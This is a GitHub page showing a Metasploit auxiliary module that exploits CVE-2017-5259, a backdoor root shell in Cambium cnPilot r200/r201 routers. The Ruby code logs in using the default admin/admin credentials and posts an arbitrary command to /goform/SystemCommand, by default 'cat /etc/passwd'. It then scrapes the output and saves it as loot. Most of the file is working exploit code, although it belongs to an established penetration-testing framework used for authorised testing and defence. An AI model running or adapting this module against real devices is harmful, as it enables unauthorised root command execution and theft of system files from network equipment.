-
Notifications
You must be signed in to change notification settings - Fork 15k
Expand file tree
/
Copy pathcnpilot_r_cmd_exec.rb
More file actions
147 lines (131 loc) · 4.95 KB
/
Copy pathcnpilot_r_cmd_exec.rb
File metadata and controls
147 lines (131 loc) · 4.95 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::CNPILOT
def initialize(info = {})
super(
update_info(
info,
'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'",
'Description' => %q{
Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to
4.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is
accessible via a specific url, to any authenticated user. The module uses this
shell to execute arbitrary system commands as 'root'.
},
'Author' => [
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'References' => [
['CVE', '2017-5259'],
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin']),
OptString.new('CMD', [true, 'Command(s) to run', 'cat /etc/passwd'])
]
)
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
end
def run_host(_ip)
unless is_app_cnpilot?
return
end
end
# command execution happens here
def cmd_exec_run(the_cookie)
# Verify backdoor 'root' shell url exists
root_shell = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp'
print_status("#{Rex::Socket.to_authority(rhost, rport)} - Checking backdoor 'root' shell...")
res = send_request_cgi(
{
'uri' => '/adm/syscmd.asp',
'method' => 'GET',
'cookie' => the_cookie,
'headers' => {
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
}
)
# Now POST the command
if res && res.code == 200
uri1 = '/goform/SystemCommand'
inject_cmd = datastore['CMD']
print_good("#{Rex::Socket.to_authority(rhost, rport)} - You can access the 'root' shell at: #{root_shell}")
print_good("#{Rex::Socket.to_authority(rhost, rport)} - Executing command - #{inject_cmd}")
send_request_cgi(
{
'uri' => uri1,
'method' => 'POST',
'cookie' => the_cookie,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'Connection' => 'keep-alive'
},
'vars_post' =>
{
'command' => inject_cmd,
'SystemCommandSubmit' => 'Apply'
}
}
)
# Results are populated in the first url, so GET it once more
res = send_request_cgi(
{
'uri' => '/adm/syscmd.asp',
'method' => 'GET',
'cookie' => the_cookie,
'headers' => {
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
}
)
html = Nokogiri::HTML(res.body)
search_result = html.search('textarea').text
if search_result.nil?
print_status('Command run did not return any results or invalid command. Note that cnPilot devices only have a restricted *nix command-set.')
else
print_good(search_result.to_s)
# w00t we got l00t
loot_name = 'cmd-exec-log'
loot_type = 'text/plain'
loot_desc = 'Cambium cnPilot CMD Exec Results'
data = search_result.to_s
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
print_good("File saved in: #{p}")
end
else
print_error("#{Rex::Socket.to_authority(rhost, rport)} - Backdoor 'root' shell not found. Affected versions are - v4.2.3-R4 and newer. You can try to verify the shell at #{root_shell}")
return
end
end
#
# Login & initiate cmd_exec_run
#
def run_login
cookie, cnpilot_version = do_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie == 'skip' && cnpilot_version == 'skip'
return
elsif ['4.2.3-R4', '4.3.1-R1', '4.3.2-R4', '4.3.3-R4'].include?(cnpilot_version.to_s)
cmd_exec_run(cookie)
else
vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - This software version is not vulnerable. Affected versions are - v4.2.3-R4 and newer.")
end
end
end